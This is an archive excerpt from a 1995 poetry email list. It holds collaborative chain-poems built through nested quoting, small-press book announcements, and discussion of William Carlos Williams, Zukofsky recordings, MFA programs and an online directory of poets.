> *incorporating the end of timewarps and troves treasured*
> *the mercator projection of horniness and thou; for thou is*
> *Wow! What a catch! Yowza! Incorporating the dead heroes*
> *who pester as obsession or a hobby or as fraction of a prayer,*
> *towering above us with a lot of bothersome >>>>>>>>>>>>,s*
> *measured at density 21.5 along with a "d" added to first name*
> *of DDaniel who saw Adonai and believe me he was no Adonis*

↑ Index

654. **Jorge Guitart**

Re: Sheila, Chris & Jorge's Excellent Adventure

Wed 20 Sep 1995

R! = C!S!J! = (X - >>>>) where X is a variable ranging from excellent to outasight

"books were closed, dreams were cancelled, the inverted poplar was set right, the cardinal was killed"

St.John Terse, "Ananas"

> >> >> >>> >> >ripe for macroscopes to pump or slice or butterfly away
> >> >> >>> >> from that ardent bugged heliotrope and pledge allegiance through
> >> >> >>> > ostension--we stopped short of the shortstop stigmata
> >> >> >>> this time pencilled in as tangly wisps instead of memory
> >> >> >> detonations: but don't forget to dismember the doloroso
> >> >> >I left in the rain by mistake whilst on business vocation
> >> >> hollering newmown platitudes to headsets painted blue and waffle colored
> >> >> earth colored fire colored i have this thing against water colored
> >> therefore elemental-painted playthings cost a dear shined copper looking
> >> for false grit and the dogma of autonomous syntax overwhelmed them
> when striking from base-camp their paraffin tongues in the cauldron
 of sylvia's morning during the time that ted was devising a way to

↑ Index

655. **Herb Levy**
Re: bookshop chickenshit & LZ
Wed 20 Sep 1995

Chickenshit? Oh, I thought it said "chickenship" & read it through twice looking for an anecdote about Spicer in a vancouver bookshop.

Even so, I want to reiterate Lisa's suggestion that Vancouver folks support Black Sheep Books. They did a great job of stocking their tables at BlaserCon.

I only wish I was in Vancouver more often to spend more money at such a responsive shop. Maybe when I'm up there to hear Derek Bailey & company.

&, thanks to everyone for the information on various Zukofsky video/audio tapes.

Herb Levy
[redacted]

↑ Index

656. **Herb Levy**
Re: Distribution or Shoot
Wed 20 Sep 1995

George -

I hope you are able to find a Canadian publisher for "Shoot" eventually, but at least you were able to get it published somewhere.

Let me know if you'll need any copies brought up from Seattle.

Herb Levy
[redacted]

↑ Index

657. **Jorge Guitart**
Re: Sheila, Chris & Jorge's Excellent Adventure
Wed 20 Sep 1995

SEM-CC-JG BRANCH 9/19/95 J adding to C adding to J adding to S

> >> >> >in the books were dreams and in the dreams were
> >> >> >books.And flew > >> >>> >>
> >> >> >> >> >>> >> (...)
> >> >> >> >> >>> >>
> >> >> >> >> >>> >>> >spending the bulk of closure with sentient scoops

> >> >> >> >> >>> >>> that fluke picnic shot out of these worlds we spread been-to
> >> >> >> >> >>> >> say that the center cannot hold the nose tackle much longer
> >> >> >> >> >>> >than a clam can sleeve out of incarceration baldly
> >> >> >> >> >>> go where others fear to operate the biggest donors hive
> >> >> >> >> >>> & where Mars collides with the small world of "It's a small
> >>world
> >"
> >> >> >> >> >ripe for macroscopes to pump or slice or butterfly away
> >> >> >> >> >> from that ardent bugged heliotrope and pledge allegiance through
> >> >> >> >> ostension--we stopped short of the shortstop stigmata
> >> >> >> >> this time pencilled in as tangly wisps instead of memory
> >> >> >> detonations: but don't forget to dismember the doloroso
> >> >> pitchpipe with its squeal subtracted and the dotted-line relationships
> >> >and sing "I Love Time but I love Your Spatial Simulacra Much More"
> >> for the brevity inferred and for the latchkey touch more like a feather
> >> drizzling blood of picklet beet all over the related phenomena
> braising from punch a drunk streak which no absolute bearings flew
  off the Handel I did not miss for Pergolesi was by the pergola with
>

↑ Index

658. **Jorge Guitart**

Re: spike it with saussure - begins the intramix...>

Wed 20 Sep 1995

On Tue, 19 Sep 1995, Thomas Bell wrote:

> *someone, sometime maybe wrote:*
>
> *In the books were dreams and in the dreams were books.*
> *incorporating the end of timewarps and troves treasured*
> *the mercator projection of horniness and thou; for thou is*
> *Wow! What a catch! Yowza! Incorporating the dead heroes*
> *of Palookaville & the dead heroes of Guadalajara*
> *far and away in the midst of a hustlingbusted big CCIITTYY*
> *where disparity fell like soft rain far from Leithauser*

↑ Index

659. **Jorge Guitart**

Re: spike it with saussure - begins the intramix...

Wed 20 Sep 1995

The Bell Curl

> *In the books were dreams and in the dreams were books*
> *incorporating the end of timewarps and troves treasured*
> *the mercator projection of horniness and thou; for thou is*
> *Wow! What a catch! Yowza! Incorporating the dead heroes*
> *of Palookaville & the dead heroes of Guadalajara*
> *empowering scores of liberated mozos intent of Lacanian*
> *Bananas and coconut grove's ashes Phoenix rose and o*
> *o, o, the Murdochian rag, ok stop dick stop spot ate puff*

↑ Index

660. **Jorge Guitart**

Re: be advised: wcw qtd in this renga

Wed 20 Sep 1995

On Tue, 19 Sep 1995, Charles Alexander wrote:

> *On Sun, 17 Sep 1995, Sheila E. Murphy wrote:*
>
> *On Sun, 17 Sep 1995, George Bowering wrote:*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The rook to the knight here by King's Bishop Three*
> *Something has changed in the nature of friendship*
> *But wouldn't you know it, Mrs. Mullett next in line*
> *For food stamps, quints racing about the linoleum*
> *Everything leans on the verb, falling, sighs*
> *Twelve at least, one loves only firm, and firm*
> *feels good to her it feels real good, & the corset*
> *blanches from so many passwords being lifted like expected bans*
> *on metaphors that the folks at the contagious hospital*
> *thought we might be weaned of early, late, whatever*
> *the contagious wind strikes a chord with nothing ventured*
> *maimed, my parents won't let me play with density*

↑ Index

661. **Rod Smith**
Re: Distribution or Object
Wed 20 Sep 1995

Object # 5 "featuring" Rod Smith is out, 25 page piece called "A Grammar Manakin." Also in the issue are Jennifer Moxley, Tim Davis, Steven Farmer, Judith Goldman, Dirk Rowntree, Michael Basinski, Bill Luoma, Vallerie Fox, Joe Elliot, Bill Howe, Milo DeAngelis, & Joan Retallack.

Object #4 is a long piece by Robert Kocik & an essay by Stacy Doris. Rob Fitterman, the editor, plans to continue the format of #5, a 25-page feature plus other work, in future issues.

Order from Object, 7-13 Washington Square North #47B, NY, NY 10003. $5 per issue, $8 two issue subscription. Checks payable to Robert Fitterman.

Also, my chapbook called _The Boy Poems_ is available from Buck Downs Books, POBox 50376, Washington, DC 20091 for $4.

& that's the news.
--Rod

↑ Index

662. **Aldon L. Nielsen**
Re: Dangerous Music
Wed 20 Sep 1995

last truly dangerous poet I met was a drunk at the Red Lion who used to leave threatening messages on my answering machine -- since moving West I haven't encountered another --

BUT, in the sens in which the question was offered --

commercial publishing and its yardley appendages have done a good job of convincing everyone that American poets are clawless (perhaps even clueless), merely pawing over one another --

there is, however, always a however,

most of us in fact know of one or two people who aren't publishing poets who occasionally read poetry

whether any poets are truly dangerous or not, the US Govt. seems to worry about some of them -- check out Baraka's FBI files and you'll be surprised how many of his chapbooks were purchased by Hoover's literati for closer examination

the MFA establishment, whoever and wherever that might be, certainly goes into a tither the moment anyone suggests hiring a poet unlikely to get on TV

with Bill Moyers and loosing same upon the creative writing students -- I've observed this phenom. at several colleges in recent years -- & read the AWP newletter if you think Yardley is the most outrageous and paranoid of our denouncers of poetics these days --

The reactions of both FBA and MFA agents are, naturally, out of all proportion to real threat --

I think Bersenbrugge endangered a number of my own assumptions about line -- and I have been trying to understand what that means ever since --

rereading Russell Atkins was a clear and present danger to much that I had been taught about postmodernity, and I'm still mulling that over

No novel is safe in the vicinity of Lyn Hejinian or Leslie Scalapino

And Williams is still, I believe, more dangerous than the "light rail" now installed in San Jose, which has claimed fifteen lives during its short existence.

I don't think H.D. represents a clear and present danger (though I love her, the novels especially) -- but Moore's scalpel is deadly if you let her get close --

Have any poets changed my own carriage?

To this day I will not read Niedecker in a dark room by myself --

↑ Index

663. **Kit Robinson**
Diamonds and Rust
Wed 20 Sep 1995

Reply to: Diamonds and Rust
NewLangtonArts presents. . .

the premiere performance of

Diamonds and Rust
by Kevin Killian & Wayne Smith

a new play that chronicles the inner struggles of a group
of young window dressers who yearn for separate careers
as fine artists. . .

ONE NIGHT ONLY
Saturday, September 30
8pm
Tickets: $8/$6 members

NewLangtonArts
1246 Folsom St. between 8th & 9th

San Francisco
[redacted]

↑ Index

664. **Fred E. Maus**
Re: spike it with saussure - begins the intramix...
Wed 20 Sep 1995

---

the books were
the end of
the projection of
dead heroes

dead heroes of
scores of
libretti, roughage
like enigmas

↑ Index

665. **Gabrielle Welford**
Re: spike it with saussure - begins the intramix...
Wed 20 Sep 1995

On Tue, 19 Sep 1995, Charles Alexander wrote:

> *Some ink-daubbed wretches wrote:*
>
> *In the books were dreams and in the dreams were books*
>
> *of Palookaville & the dead heroes of Guadalajara*
> *empowering scores of liberated mozos intent of Lacanian*
> *libretti, salted with much, much more than roughage added to taste*
> *or tremolo, finding the shores awash with alphabet, proclaiming nothing*
> *nutting nothing a-merrily over my dead bodies in abandon*

↑ Index

666. **Sheila E. Murphy**
Re: spike it with saussure - begins the intramix...
Wed 20 Sep 1995

>>>Some ink-daubbed wretches wrote:
>>>
>>>In the books were dreams and in the dreams were books
>
>>>of Palookaville & the dead heroes of Guadalajara

>>>empowering scores of liberated mozos intent of Lacanian
>>libretti, salted with much, much more than roughage added to taste
>or tremolo, finding the shores awash with alphabet, proclaiming nothing
more dangerous than mislabeled spice with conscience

↑ Index

667. **Sheila E. Murphy**
Re: spike it with saussure - begins the reich
Wed 20 Sep 1995

> Jorge Bowering Murphy wrote
>
>> >In the books were dreams and in the dreams were books.
>> >incorporating the end of timewarps and troves treasured
>> >the mercator projection of horniness and thou; for thou is
>> >Wow! What a catch! Yowza! Incorporating the dead heroes
>> >who pester as obsession or a hobby or as fraction of a prayer,
>> >towering above us with a lot of bothersome >>>>>>>>>>>>,s
>> measured at density 21.5 along with a "d" added to first name
>> of DDaniel who saw Adonai and believe me he was no Adonis
although reputation tends to weave a little of transfixive

↑ Index

668. **Sheila E. Murphy**
Re: spike it with saussure - begins the intramix...
Wed 20 Sep 1995

>> >Some ink-daubbed Canadian & American wretches wrote:
>> >
>> >In the books were dreams and in the dreams were books
>> >incorporating the end of timewarps and troves treasured
>> >the mercator projection of horniness and thou; for thou is
>> >Wow! What a catch! Yowza! Incorporating the dead heroes
>> >of Palookaville & the dead heroes of Guadalajara
>> >empowering scores of liberated mozos intent of Lacanian
>> libretti, salted with much, much more than roughage added to taste
>> doughboys & doughgirls, behaving like superfluous enigmas
puzzling in contagious ways over the simplest rides to

↑ Index

669. **Ken Edwards**

Reality Street Edition new books

Wed 20 Sep 1995

OK in response to Charles' request, here's a truncated version of Reality Street Editions' catalogue (full version at the EPC). Our most recent books, on their way to SPD in a rather bulky package on a tramp steamer even as I write, are:

Fanny Howe
O'CLOCK
1-874400-07-5 L6.50
200 x 120mm paperback 104pp

Peter Riley
DISTANT POINTS
1-874400-06-7 L6.50
200 x 148mm paperback 64pp

Out this autumn...

Sarah Kirsch
T
Translated by Anthony Vivis and Wendy Mulford.
Autumn 1995 1-874400-05-9 L4.50
200 x 120mm saddle-stitched 28pp

Forthcoming Jan 1996....

OUT OF EVERYWHERE
An anthology of contemporary linguistically innovative poetry by women in North
America & the UK
Edited and with an introduction by Maggie O'Sullivan
Afterword by Wendy Mulford
The 30 poets included are:
Rae Armantrout, Caroline Bergvall, Nicole Brossard, Paula Claire, Tina Darragh,
Deanna Ferguson, Kathleen Fraser, Barbara Guest, Carla Harryman, Lyn Hejinian,
Fanny Howe, Susan Howe, Grace Lake, Karen MacCormack, Bernadette Mayer, Geraldine Monk, Wendy Mulford, Melanie Neilson, Maggie O'Sullivan, Carlyle Reedy, Joan Retallack, Denise Riley, Lisa Robertson, Leslie Scalapino, Catriona Strang, Fiona Templeton, Rosmarie Waldrop, Diane Ward, Hannah Weiner, Marjorie
Welish.

Winter 1995/6 1-874400-08-3 L7.50
205 x 132mm paperback 240pp (actually likely to be 256pp)

Recently published....

Allen Fisher
DISPOSSESSION AND CURE
1-874400-03-2 L6.50
200 x 148mm paperback 72pp

Denise Riley
MOP MOP GEORGETTE
1-874400-04-0 L6.50
170 x 170mm paperback 72pp

Maggie O'Sullivan
IN THE HOUSE OF THE SHAMAN
1-874400-01-6 L6.50
210 x 147mm paperback 72pp

Susan Gevirtz
TAKEN PLACE
1-874400-02-4 L6.50
200 x 148mm paperback 64pp

Kelvin Corcoran
LYRIC LYRIC
1-874400-00-8 L5.99
200 x 120mm paperback 48pp

Inquiries:
Ken Edwards, 4 Howard Court, Peckham Rye, London SE15 3PH, UK
Tel: 0[redacted]
email: [redacted]

UK distributors
-Paul Green, 83b London Rd, Peterborough PE2 9BS
-Peter Riley, 27 Sturton St, Cambridge CB1 2QG,
tel 01223-576 422

USA distributors
-Small Press Distribution Inc, 1814 San Pablo Avenue, Berkeley, CA 94702, tel [redacted]

Canadian distributors
-Marginal Distribution, Unit 102, 277 George Street North, Peterborough, Ontario
K9J 3G9, tel [redacted]

NB: All prices are in sterling; refer to our US/Canadian distributors for dollar prices.

↑ Index

670. LAURA MORIARTY
Re: A24
Wed 20 Sep 1995

I've back-channeled a few people about both Zukovsky and the A-24 tape, but was hesitant to post to the list as it would be difficult to respond to many requests for the tapes all at once. The Poetry Center and American Poetry Archives here at SF State taped the performance of A-24 that was done here. The date I have for it is 11/15/78. I don't believe I have releases from all of the performers (everyone's list of them was accurate) to sell the tape, so it is distributed only as a library tape for the price of membership ($20) in The Poetry Center. We also have the outtakes from the NET series Poetry: USA, including the Zukovsky program. It is 30 minutes, a very interesting tape, which sells, as Charles Watts indicated (thanks, Charles) for $125 and can be rented for $15. I can be reached here by email or by phone [redacted] Moday - Thursday.

Laura Moriarty
Archives Director
[redacted]

↑ Index

671. H. T. KIRBY-SMITH
Graves tapes
Wed 20 Sep 1995

Caedmon Tape SWC 1066 is Graves reading poetry and from THE WHITE GODDESS.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

672. **Edward Foster**
Re: you & an army of mixed metaphors and forgotten half-truths...
Wed 20 Sep 1995

---

where would we be? again: look at rimbaud, where wcw visited; it was there. but you'll find similarly, if differently phrased, positions in (oddly, given wcw's rejection) keats, moving poetry away from the ego (and representation, too). no?

↑ Index

673. **Edward Foster**
Re: you & an army of mixed metaphors and forgotten half-truths...
Wed 20 Sep 1995

---

as for "where would we be without . . . ," that's not the issue. it's whether we need a shift out of that tradition, put it in mothballs for a while (or that classroom, same thing).

↑ Index

674. **Edward Foster**
Re: you & an army of mixed metaphors and forgotten half-truths...
Wed 20 Sep 1995

---

yes, steve, there are moments when "something trivial achieves a shining presence," but it's still a way of seeing and a language that doesn't compel as much anymore. and curiously, moore does those transformations much better. dickinson, too.

↑ Index

675. **Edward Foster**
Re: you & an army of mixed metaphors and forgotten half-truths...
Wed 20 Sep 1995

---

burt: it's the passage in jeffrey timmons' note of sept. 15th; it's that i initially suggested one "unpack" and that i was "unpacking" in the note to you. my heavens, this gets complicated; i wish they'd allow me more than three lines. -ed

↑ Index

676. **cris cheek**
Re: A24
Wed 20 Sep 1995

Hi Kit, I wonder if there's anything else you can add to the discussion re- A24 in performance. How did it work? What felt awkward, if anything, in the tension between the music notation and the language notation? Would you recommend that it's worth working on a performance of A24 - with performance-writing students say? Any titbits of process, discussion that spring to mind? Am I right in remembering that this production followed on from several Poets Theatre performances, how did it feel to be working on something that was not written by people directly in that 'group' of writers and performers?

simply lots of questions - I'm curious to know more
love and love
cris

↑ Index

677. **George Bowering**
Re: spike it with saussure - begins the intramix...
Wed 20 Sep 1995

On the day before the equinox, Lionel Trilling wrote:

In the books were dreams and in the dreams were books
incorporating the end of timewarps and troves treasured
the mercator projection of horniness and thou; for thou is
Wow! What a catch! Yowza! Incorporating the dead heroes
of Palookaville & the dead heroes of Guadalajara
empowering scores of liberated mozos intent of Lacanian
libretti, salted with much, much more than roughage added to taste
doughboys & doughgirls, behaving like superfluous enigmas
puzzling in contagious ways over the simplest rides to
San Luis Obispo, home of cowering Democrats on soya diets

↑ Index

678. **George Bowering**
Re: Distribution or Shoot
Wed 20 Sep 1995

Thanks, Herb.
Actually, _Shoot!_ was published in Toronto about a year ago.

But let me know whether you haver any hot Albanian publishers looking for a good time.

Did you see/hear anything of Cecil while he was there last week?

↑ Index

679. **George Bowering**
Re: be advised: wcw qtd in this renga
Wed 20 Sep 1995

> *On Tue, 19 Sep 1995, Sheila E. Murphy wrote:*
>
> *On Sun, 17 Sep 1995, Sheila E. Murphy wrote:*
>
> *On Sun, 17 Sep 1995, George Bowering wrote:*
>
> *The hell I did! GB*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The rook to the knight here by King's Bishop Three*
> *Something has changed in the nature of friendship*
> *But wouldn't you know it, Mrs. Mullett next in line*
> *For food stamps, quints racing about the linoleum*
> *Everything leans on the verb, falling, sighs*
> *Twelve at least, one loves only firm, and firm*
> *feels good to her it feels real good, & the corset*
> *blanches from so many passwords being lifted like expected bans*
> *on metaphors that the folks at the contagious hospital*
> *thought we might be weaned of early, late, whatever,*
> *but I am taking the broken glass as a token of my first epiphany*

↑ Index

680. **Chris Scheil**
Re: Dist. or Bust (i.e., New Book)
Wed 20 Sep 1995

Dear Charles,

Could you send me a catalog or brochure for Chax press? I'm the inv. manager for Schuler Books here in Grand Rapids, MI.

↑ Index

681. **George Bowering**
Re: publications/anagram
Wed 20 Sep 1995

Jeffrey Timmons = Jiffy Meets Morn

↑ Index

682. **George Bowering**
Re: Sheila, Cris & Jorge's Excellent Adventure
Wed 20 Sep 1995

> *SEM-CC-JG BRANCH 19/9/95 C adding to J adding to C adding to S*
> *in the books were dreams and in the dreams were books.And flew*
> *spending the bulk of closure with sentient scoops*
> *that fluke picnic shot out of these worlds we spread been-to*
> *say that the center cannot hold the nose tackle much longer*
> *than a clam can sleeve out of incarceration baldly*
> *go where others fear to operate the biggest donors hive*
> *& where Mars collides with the small world of "It's a small world"*
> *ripe for macroscopes to pump or slice or butterfly away*
> *from that ardent bugged heliotrope and pledge allegiance through*
> *ostension--we stopped short of the shortstop's stigmata*
> *this time pencilled in as tangly wisps instead of memory*
> *detonations: but don't forget to dismember the doloroso*
> *I left in the rain by mistake whilst on business vocation*
> *the night I told you to stop referring to me as Ontology Boy*
> *and you replied all shrouded in epistemology that it was glue we lacked*
> *"ckab oups frert cdl-fdl!!" with elvis projecting "uhhhh, I'm all stuck*
> *in the epoxy I used to cement my relationship w/ Thou, the Dead Quaker*
> *who who traipses a paradigm sweat under lights and then fixes*
>
> *>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>groin>>>>>>>>>>>>>*
> *>>>*

↑ Index

683. **Sheila E. Murphy**
Re: be advised: wcw qtd in this renga
Wed 20 Sep 1995

>On Tue, 19 Sep 1995, Charles Alexander wrote:
>
>> >>On Sun, 17 Sep 1995, Sheila E. Murphy wrote:
>> >>
>> >>> >On Sun, 17 Sep 1995, George Bowering wrote:
>> >>> >

>> >>> >> In the books were dreams and in the dreams were books.
>> >>> >> And flew through windows, lightning green and fine morning
>> >>> >> First inverted whistle of a cardinal in the poplar
>> >>> >> The book and the oboe on the grass under sun and cloud
>> >>> >> Go endlessly, an obtuse Prussian blue, it binds
>> >>> >> The rook to the knight here by King's Bishop Three
>> >>> >> Something has changed in the nature of friendship
>> >>> >> But wouldn't you know it, Mrs. Mullett next in line
>> >>> >> For food stamps, quints racing about the linoleum
>> >>> >> Everything leans on the verb, falling, sighs
>> >>> >> Twelve at least, one loves only firm, and firm
>> >>> >> feels good to her it feels real good, & the corset
>> >>> blanches from so many passwords being lifted like expected bans
>> >> on metaphors that the folks at the contagious hospital
>> >thought we might be weaned of early, late, whatever
>> the contagious wind strikes a chord with nothing ventured
>> maimed, my parents won't let me play with density
because its quantity is known, and they prefer unknowns

↑ Index

684. **Jorge Guitart**

Re: spike it with saussure - begins the reich

Wed 20 Sep 1995

On Wed, 20 Sep 1995, Jurphy Sowering Borge wrote
> >
> >> >In the books were dreams and in the dreams were books.
> >> >incorporating the end of timewarps and troves treasured
> >> >the mercator projection of horniness and thou; for thou is
> >> >Wow! What a catch! Yowza! Incorporating the dead heroes
> >> >who pester as obsession or a hobby or as fraction of a prayer,
> >> >towering above us with a lot of bothersome >>>>>>>>>>>>,s
> >> measured at density 21.5 along with a "d" added to first name
> >> of DDaniel who saw Adonai and believe me he was no Adonis
> although reputation tends to weave a little of transfixive
> which sticks to your clothes and makes you ineluctable

↑ Index

685. **Jorge Guitart**
Re: spike it with saussure - begins the intramix...
Wed 20 Sep 1995

Some fans of Dick Assman wrote

> *In the books were dreams and in the dreams were books*
> *incorporating the end of timewarps and troves treasured*
> *the mercator projection of horniness and thou; for thou is*
> *Wow! What a catch! Yowza! Incorporating the dead heroes*
> *of Palookaville & the dead heroes of Guadalajara*
> *empowering scores of liberated mozos intent of Lacanian*
> *libretti, salted with much, much more than roughage added to taste*
> *doughboys & doughgirls, behaving like superfluous enigmas*
> *puzzling in contagious ways over the simplest rides to*
> *the grotto of our Lady of Corollaries during the Feast of the Enormity*

↑ Index

686. **eric pape**
Re: you & an army of mixed metaphors and forgotten half-truths...
Wed 20 Sep 1995

---

ed, et al: I toofind WCW boring. But it may be that I do because he is so easily imitated. So, I sometimes find O'Hara, Ginsburg, Hejinian, boring for the same reasons. Was it Picasso who said, very very roughly, "The most original art is ugly. Then someone comes along and makes it pretty." I don't know but can the term, or the concept, "boring" apply in the same way?

↑ Index

687. **Loss Glazier**
Online Directory of Poets - PLEASE READ -
Wed 20 Sep 1995

-- Request For Permission --

We are, at the EPC, ready to mount a new service, the *Online Directory of Poets*. This will be a listing (and its first iteration is based on the list of subscribers to Poetics) of people using e-mail with Poetics interests.

As planned, the list will be alphabetical by name and will give an e-mail address. The e-mail address will be highlighted so that when you look up someone you can simply click on their address and send a message to them directly from the EPC. (A sort of "active" directory.)

-->>>>IMPORTANT<<<<--

Since I used a list based on subscribers to this list, if you do NOT want to be listed in this directory, please e-mail me directly as soon as you can and I will remove your name!!!

Thanks!
Loss
[redacted]

↑ Index

688. **Steve Carll**
Re: LZ & bookshop chickenshit
Thu 21 Sep 1995

Dear Lisa:

Thanks for the added perspective. I thought that I was saying about bookbuyers basically what you say about them, albeit from my own crabby armchair. What I meant by "chickenshit" was, in fact, more directed toward the chain bookstores (and I don't think there's an anti-experimental or -small press conspiracy there either), who don't want to be bothered with patchwork distribution and return policies, smaller orders (it's easier for them to order in bulk than 1 or 2 copies at a time), and so on. I certainly understand for smaller bookstores that there's a real (and legitimate) anxiety about taking chances with their shelf space, and the suggestions you and Herb Levy have outlined are excellent ones that I feel really stupid about not going the extra step to mention before I posted.

It was not my intention to trash anyone for not stocking my taste in poetry, and I used to work in (several) record stores, so I have been on the other side of the counter and know what that's like too. We in S.F. have all but lost Small Press Traffic (it's relegated to 4 or 5 shelves in another bookstore at Noe and Market, a storage space in Colma, and Dodie's reading series), and so we may have to learn this lesson the hard way.

Steve

↑ Index

689. **Jeffrey Timmons**
Re: you & an army of mixed metaphors and forgotten half-truths...
Thu 21 Sep 1995

On Tue, 19 Sep 1995, Steve Carll wrote:

> *This is probably the concomitant danger of the attempt to poetize trivia, to champion "simple everyday speech." Certainly when WCW's effort fails, the trivia stays trivial and the poetry joins it.*

I'm not sure I can agree that WcW fails. In fact, as my posts have suggested, he is important because he succeeded so well at turning poetry to the everyday. If the everyday is trivial, well, then I too wish we could live in the poems we all dream. The everyday is not trivial and is worthy of poetry.

Jeffrey

↑ Index

690. **Jeffrey Timmons**
Re: Self-disclosure
Thu 21 Sep 1995

I just want to thank people for announcing their publications

Thanks,

Jeffrey Timmons

↑ Index

691. **Jeffrey Timmons**
Re: you & an army of mixed metaphors and forgotten half-truths...
Thu 21 Sep 1995

On Wed, 20 Sep 1995, Edward Foster wrote:

> yes, steve, there are moments when "something trivial achieves a shining presence," but it's still a way of seeing and a language that doesn't compel as much anymore. and curiously, moore does those transformations much better.
dickinson, too.

Last post on this: Sure, ed, and Chaucer just plain don't make sense!

Jeffrey Timmons

↑ Index

692. **Jeffrey Timmons**
Re: you & an army of mixed metaphors and forgotten half-truths...
Thu 21 Sep 1995

On Wed, 20 Sep 1995, Edward Foster wrote:

> where would we be? again: look at rimbaud, where wcw visited; it was there. but you'll find similarly, if differently phrased, positions in (oddly, given wcw's rejection) keats, moving poetry away from the ego (and representation, too). no?

Darn it . . . drawn in yet again: sure different positions, but doesn't your statement assume that you can purge the "tradition" of WcW's presence? That we don't need him? Sure, there were alternatives to him, differently phrased positions, certainly, but you are arguing against history here. Rimbaud and Keats and WcW made different versions of poetics available. Just as you must deal with Whitman, you must deal with WcW's influence (though admitedly on a whole different scale). It's not a question of substituting different versions of poetics for another (though this raises an interesting question of just that possibility), but, rather, of attending to the polyphony of different voices in dialogue with each other. Obviously, wcw is in dialogue with keats, etc, rejecting him, what have you. Perhaps WcW has obscured keats to us or vice versa, but rather than simply deny wcw's influence or presence in american poetics maybe we should be accounting for what he was writing against (specifically) and how that has filtered our perceptions of him and those whom he writes against. I think Ed makes this point, perhaps, though in three lines or less it must be difficult. Yes, someone give Ed more lines. Please. Most importantly, I am willing to go along with WcW and what he was writing against. If there were alternatives to his version that were obscured by his canonization I'd be willing to entertain thoughts on them.

Jeffrey Timmons
(Jiffy Meets Morn)

PS: Thanks George, I was feeling left out!

↑ Index

693. **Rod Smith**

Re: you & an army of mixed metaphors and forgotten half-truths...

Thu 21 Sep 1995

Ed, Could you spell out your position re WCW & his supposed lack of relevance more clearly, (I *might* agree given a context)-- Not trying to start a fight. The discussion reminds me a bit of Cage's remarks about "masterpieces"-- that a masterpiece is something one continues to find something new in, but that doesn't seem to hold true. Seems that we can actually use up a piece of art. . . Is that (uh-oh) post modern? Is Duchamp still "new"? If not what the hell is? Or is it a mistake to look for something new? If WCW's used up, Olson must be to. Berrigan seems new to me, but how describe. . . Is it a matter of attitude? of the poet &/or the reader? bla bla bla? --Rod

↑ Index

694. Rod Smith
Re: spike it with saussure - begins the reich
Thu 21 Sep 1995

In the books were dreams and in the dreams were books.
> >> >incorporating the end of timewarps and troves treasured
> >> >the mercator projection of horniness and thou; for thou is
> >> >Wow! What a catch! Yowza! Incorporating the dead heroes
> >> >who pester as obsession or a hobby or as fraction of a prayer,
> >> >towering above us with a lot of bothersome >>>>>>>>>>>>,s
> >> measured at density 21.5 along with a "d" added to first name
> >> of DDaniel who saw Adonai and believe me he was no Adonis
> although reputation tends to weave a little of transfixive
> which sticks to your clothes and makes you ineluctable
elision, like a lit bit of sacrificial eclecticism (a-singin'

"stone me to to my soul")

↑ Index

695. Ron Silliman
WCW
Thu 21 Sep 1995

It may be a sad truth, but the reality is that if Spring & All were published for the first time today, it would still be the most innovative and forward thinking book of the year, and would have been so in any of the past 25 years. How we have gone from that to the current norm of bland one-page abstract lyrics befuddles me....

↑ Index

696. CAROLYN L. FORCHE-MATTISON
MFA Agents/Dangerous Poets
Thu 21 Sep 1995

In reference, I think, to the "dangerous" thread, Aldon deployed superb wit in his reference to FBI/MFA agents. I want to suggest, however, that this situation is perhaps changing. The academy has been infiltrated at Buffalo, UC Santa Cruz and (?). Here at George Mason's MFA program (which has at least five subscribers to this list), I was able to bring Rod Smith into the teaching fold, and in the past year and a half we've had Susan Howe and Leslie Scalapino among the few two-day residencies we can afford. This fall, it's Rosemarie Waldrop. A number of the poet-grad students are writing linguistically innovative work and frequent Rod's Bridge Street Books. The student mag, -

Phoebe- featured work of interest to this list in the last issue. I don't know what's happening elsewhere, as I've always been somewhat isolated, but this isn't a closed shop. BTW, the new person at AWP's newsletter, The Chronicle (also now based here) is a subscriber to this list, and would welcome essays from any of you. I'm not naive about that audience, so why not begin with something on how to *read*.

Warmest regards,

Carolyn

↑ Index

697. **Gwyn McVay**
yet another anagram
Thu 21 Sep 1995

Loss Pequeno Glazier = "long sleaze-quip rose"
or "gloss no equal prize"

↑ Index

698. **Jordan Davis.**
How it Happened
Thu 21 Sep 1995

How It Happened
for Ron Silliman

After centuries, it was finally clear--
We had lost it. But where did it go?
We asked the witch, hiding behind the television,
But she was only picking her nose. The validation
Had come through on the backs of stormtroopers
In plaid, but when we went to apply it
To our balance, some goons, it turned out,
Had hauled away our collateral in a wheelbarrow.
"No ideas but in love songs," said the radio,
And it went straight into all our poems,
Which were utterly, utterly up front
About the situation.

↑ Index

699. **Loss Glazier**
Re: Online Directory of Poets
Thu 21 Sep 1995

> *how can we subscribe to the On Line Directory of Poets?*

It's not a subscription type thing. You simply go to it and use it.

When it's put online (next week I think), you can access it through the World-Wide Web at the Electronic Poetry Center:

http:/writing.upenn.edu/epc

Follow the link for authors, then you will see a link to the directory.

↑ Index

700. **Loss Glazier**
Re: Online Directory of Poets (fwd)
Thu 21 Sep 1995

> > how can we subscribe to the On Line Directory of Poets?
>
> When it's put online (next week I think), you can access it through
> the World-Wide Web at the Electronic Poetry Center:
>
> http:/writing.upenn.edu/epc
>
> Follow the link for authors, then you will see a link to the
> directory.
>
I have also placed a link to it from the EPC home page (the url given above).

↑ Index

701. **Gwyn McVay**
Re: MFA Agents/Dangerous Poets
Thu 21 Sep 1995

What Carolyn said. Yes, yes, yes, please. The only way to divert the stream of commodified flush-left-first-person-narrative-(you know what I mean) poetics is to infiltrate. Send articles to my attention:

Gwyn McVay
AWP Chronicle
Associated Writing Programs
Tallwood House, Mail Stop 1E3

George Mason University
Fairfax, VA 22030

↑ Index

702. **B. Cassidy**
Re: MFA Agents/Dangerous Poets
Thu 21 Sep 1995

To build off of what Carolyn has said is happenning at GM, I thought it might be of interest to the list to know what's been happenning here at (the dreaded) Writer's Workshops at The U of Iowa.

1) The most single most requested poet in a pole of the the students this semester for who they would like to see come and give a reading was Michael Palmer. So, he's coming in November.

